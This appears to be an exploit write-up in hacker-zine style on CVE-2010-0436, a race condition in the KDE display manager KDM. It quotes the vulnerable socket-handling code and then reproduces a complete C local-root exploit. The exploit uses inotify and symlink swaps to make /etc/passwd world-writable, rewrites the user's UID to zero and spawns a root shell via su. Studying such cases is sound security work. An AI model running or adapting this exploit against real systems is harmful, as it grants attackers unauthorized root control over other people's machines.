CVE vulnerability Case Study: CVE-2010-0436 KDE TOCTTOU vulnerability ___ ___ / _ \ / _ \ __ __| (_) || | | | ___ \ \/ / \__. || | | | / __| > < / / | |_| || (__ /_/\_\ /_/ \___/ \___| [toc] ----[ 1 - Abstract ----[ 2 - Vulnerbility Details ----[ 3 - Exploit code ----[ 4 - Conclusion ----[ 5 - References ----[ 6 - Greets ----[ 1 - Abstract It's the case study of the cve-2010-0436 KDE TOCTTOU discovered by stealth. I explains the cve-2010-0436 vulnerability and the details finally, exploit code. The cve-2010-0436 has a vulnerability to lead to local privilege escalation It ocurred at the openCtrl function in the kdebase-workspace-4.1.4/kdm/back end/ctrl.c, the display manager daemon. A little TOCTTOU cve cases are reported, in apache, bzip2, gzip, ... openldap, openssl, kerberos, openoffice, cups, samba, xinetd, perl, KDE. (Table 1: Reported TOCTTOU Vulnerabilities [1]) and the cwe observed example of the TOCTTOU vulnerabilities are CVE-2003-0813 rpc dcom CVE-2004-0594 php CVE-2008-2958/CVE -2008-1570 checkinstall, [2]. ----[ 2 - Vulnerability Details /var/run/xdmctl/dmctl-$DISPLAY/socket ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- ... /* * xdm - display manager daemon * Author: Keith Packard, MIT X Consortium * * display manager */ ... void openCtrl( struct display *d ) /* vulnerable function */ { CtrlRec *cr; const char *dname; char *sockdir; struct sockaddr_un sa; if (!*fifoDir) return; if (d) { cr = &d->ctrl, dname = d->name; if (!memcmp( dname, "localhost:", 10 )) dname += 9; } else cr = &ctrl, dname = 0; if (cr->fd < 0) { if (mkdir( fifoDir, 0755 )) { if (errno != EEXIST) { logError( "mkdir %\"s failed; no control FiFos will be available\n", fifoDir ); return; } } else chmod( fifoDir, 0755 ); /* override umask */ sockdir = 0; strApp( &sockdir, fifoDir, dname ? "/dmctl-" : "/dmctl", dname, (char *)0 ); /* socket directory exists? */ if (sockdir) { strApp( &cr->path, sockdir, "/socket", (char *)0 ); /* get a string of cr->path '/socket' attached. */ if (cr->path) { if (strlen( cr->path ) >= sizeof(sa.sun_path)) logError( "path %\"s too long; no control sockets will be available\n", cr->path ); else if (mkdir( sockdir, 0755 ) && errno != EEXIST) // directory create failed? logError( "mkdir %\"s failed; no control sockets will be available\n", sockdir ); else { /* XXX: directory created?. ( /socket dir permmision 755 ) */ if (!d) chown( sockdir, -1, fifoGroup ); /* XXX: change sockdir directory permission to 750. */ chmod( sockdir, 0750 ); if ((cr->fd = socket( PF_UNIX, SOCK_STREAM, 0 )) < 0) // create socket. logError( "Cannot create control socket\n" ); else { // socket created? unlink( cr->path ); // (1) unlink cr->path. (socket file) sa.sun_family = AF_UNIX; strcpy( sa.sun_path, cr->path ); if (!bind( cr->fd, (struct sockaddr *)&sa, sizeof(sa) )) { if (!listen( cr->fd, 5 )) { // (2) listen. /* (3) XXX: vulnerable point - set permission 666 after cr->path created newly. */ chmod( cr->path, 0666 ); registerCloseOnFork( cr->fd ); registerInput( cr->fd ); free( sockdir ); return; ... ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- snip ---- (1) unlink /var/run/xdmctl/dmctl-$DISPLAY/socket file and (2) bind and listen get an new socket and the socket file and (3) chmod 666 the socket file. After unlink the socket file ln -s /etc/shadow /var/run/xdmctl/dmctl -$DISPLAY/socket and (2) failed and chmod 666 the socket file to lead to chmod /etc/shadow 666. TOCTTOU! A process do symlink and another process open the display continualy, can get the read/writable /etc/shadow file. The open the display via the AF_UNIX socket. ----[ 3 - Exploit Code See the exploit process via stealth's exploit code: [bambule-digitale.c] ---- /* bambule-digitale.c aka krm.c - KDE Root Manager * * KDE3/4 KDM local root exploit (C) 2010 * Successfully tested on openSUSE 11.2 with intel Core2 x64 * a 1.6Ghz. But this is not Linux specific! * * Bug is a silly race. KDM opens control socket in * /var/run/xdmctl/dmctl-$DISPLAY/socket. It looks safe * since the dir containing the socket is chowned to user [2] * after the bind()/chmod() [1] has been done. However, rmdir() [3] * retval is not checked and therefore upon restart mkdir() * for a root owned socket dir fails. Thus still owned by * user who can then play symlink tricks: * * kdm/backend/ctrl.c: * * ... * if ((cr->fd = socket( PF_UNIX, SOCK_STREAM, 0 )) < 0) * LogError( "Cannot create control socket\n" ); * else { * unlink( cr->path ); * sa.sun_family = AF_UNIX; * strcpy( sa.sun_path, cr->path ); * if (!bind( cr->fd, (struct sockaddr *)&sa, sizeof(sa) )) { * if (!listen( cr->fd, 5 )) { * [1] chmod( cr->path, 0666 ); * RegisterCloseOnFork( cr->fd ); * RegisterInput( cr->fd ); * free( sockdir ); * return; * } * unlink( cr->path ); * LogError( "Cannot listen on control socket %\"s\n", * cr->path ); * ... * * * void * chownCtrl( CtrlRec *cr, int uid ) * { * if (cr->path) { * char *ptr = strrchr( cr->path, '/' ); * *ptr = 0; * [2] chown( cr->path, uid, -1 ); * *ptr = '/'; * } * } * * * void * closeCtrl( struct display *d ) * { * CtrlRec *cr = d ? &d->ctrl : &ctrl; * * if (cr->fd >= 0) { * UnregisterInput( cr->fd ); * CloseNClearCloseOnFork( cr->fd ); * cr->fd = -1; * unlink( cr->path ); * *strrchr( cr->path, '/' ) = 0; * [3] rmdir( cr->path ); * free( cr->path ); * cr->path = 0; * while (cr->css) { * struct cmdsock *cs = cr->css; * cr->css = cs->next; * nukeSock( cs ); * } * } * } * * We make [3] fail by creating an entry in socketdir when it was * chowned to us. Creating an inotify for socket creations which * is delivered to us before chmod at [1]. Even if its very small * race we have good chances to win on fast machines with more * than one CPU node, e.g. common setup today. * * Log into KDM session, switch to console and login as same user. * Start program and follow instructions. * * No greets to anyone; you all suck badly :D */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include void die(const char *msg) { perror(msg); exit(errno); } void give_me_r00t() { int fd; char buf[128], c; char *pwd = NULL, *ptr = NULL; struct stat st; off_t off = 0; if ((fd = open("/etc/passwd", O_RDWR)) < 0) die("[-] open"); fstat(fd, &st); if ((pwd = malloc(st.st_size)) == NULL) die("[-] malloc"); if (read(fd, pwd, st.st_size) != st.st_size) die("[-] read"); snprintf(buf, sizeof(buf), "%s:x:", getenv("USER")); ptr = strstr(pwd, buf); if (!ptr) { printf("[-] Wrong /etc/passwd format\n"); close(fd); return; } off = lseek(fd, ptr - pwd + strlen(buf), SEEK_SET); free(pwd); for (;;) { pread(fd, &c, 1, off); if (c == ':') break; write(fd, "0", 1); ++off; } close(fd); sync(); } int main() { char buf[128]; int ifd = 0; struct stat st; struct sockaddr_un sun; int sfd; const char *sock_dir = "/var/run/xdmctl/dmctl-:0"; char *su[] = {"/bin/su", getenv("USER"), NULL}; srand(time(NULL)); chdir(sock_dir); /* (1) chdir sock_dir. */ memset(&sun, 0, sizeof(sun)); sun.sun_family = AF_UNIX; strcpy(sun.sun_path, "socket2"); mkdir("hold me", 0); signal(SIGPIPE, SIG_IGN); symlink("/etc/passwd", "passwd"); // (2) ln -s /etc/passwd ./passwd printf("--==[ KDM3/4 local root PoC successfully tested on dual-core ]==--\n"); printf("[+] Setup done. switch to KDM session and press Ctrl-Alt-Backspace (logout)\n"); printf("[+] KDM screen will start to flicker (one restart per 2 seconds)\n"); printf("[+] Be patient, this can take some minutes! If it takes more than\n"); printf("[+] 5mins or so it runs on the wrong CPU node; try again.\n"); printf("[+] If KDM screen stands still again, switch back to console.\n"); for (;;) { // (3) race! /* (2) open the display via PF_UNIX socket. */ if ((sfd = socket(PF_UNIX, SOCK_STREAM, 0)) < 0) die("[-] socket"); if ((ifd = inotify_init()) < 0) die("[-] inotify_init"); if (inotify_add_watch(ifd, sock_dir, IN_CREATE) < 0) die("[-] inotify_add_watch"); /* (4) unlink socket2 */ unlink("socket2"); /* blocks until race */ syscall(SYS_read, ifd, buf, 1); /* be very fast, thus syscall() instead of glibc functions */ syscall(SYS_rename, "socket", "socket2"); /* (5) rename socket socket2 */ syscall(SYS_symlink, "passwd", "socket"); /* (6) ln -s passwd socket */ close(ifd); if (stat("/etc/passwd", &st) < 0) die("[-] stat"); if ((st.st_mode & 0666) == 0666) break; sleep(2); usleep(100 + (int)(50.0*rand()/(RAND_MAX+1.0))); /* (7) AF_UNIX socket to open the display (to create the socket file) */ if (connect(sfd, (struct sockaddr *)&sun, sizeof(sun)) < 0) break; write(sfd, "suicide\n", 8); close(sfd); } /* (8) exploited? */ if (stat("/etc/passwd", &st) < 0) die("[-] stat"); if ((st.st_mode & 0666) != 0666) { printf("[-] Exploit failed.\n"); return 1; } printf("[+] yummy! /etc/passwd world writable!\n"); give_me_r00t(); printf("[+] Type your user password now. If there is no rootshell, nscd is playing tricks. 'su %s' then.\n", getenv("USER")); execve(*su, su, NULL); return 0; } ---- The exploit comment explains also the related chownCtrl, closeCtrl. First chdir to the socket directory and symlink /etc/passwd ./socket and the next race! (4) unlink the socket2 and (5) rename socket to socket2 (6) symlink passwd (symlink'd) to ./socket and (7) AF_UNIX socket connect! A process symlink /etc/passwd to /var/run/xdmctl/dmctl-:0/socket and the another process open the display continualy and privilege escalation! ----[ 4 - Conclusion If to find an TOCTTOU vulnerability, can audit the unlink/create/chmod codes. If the code flow thaa unlink to chmod no permission checks and can get the vulnerability. I explained the KDM TOCTTOU vulnerability via summary, references and the explanation of the process of the exploit. ----[ 5 - References [1] TOCTTOU Vulnerabilities in UNIX-Style File Systems: An Anatomical Study https://www.usenix.org/legacy/event/fast05/tech/full_papers/wei/wei.pdf [2] CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition http://cwe.mitre.org/data/definitions/367.html ----[ 5 - Greets my stuffs are more favorite than rebel's stuffs. EOF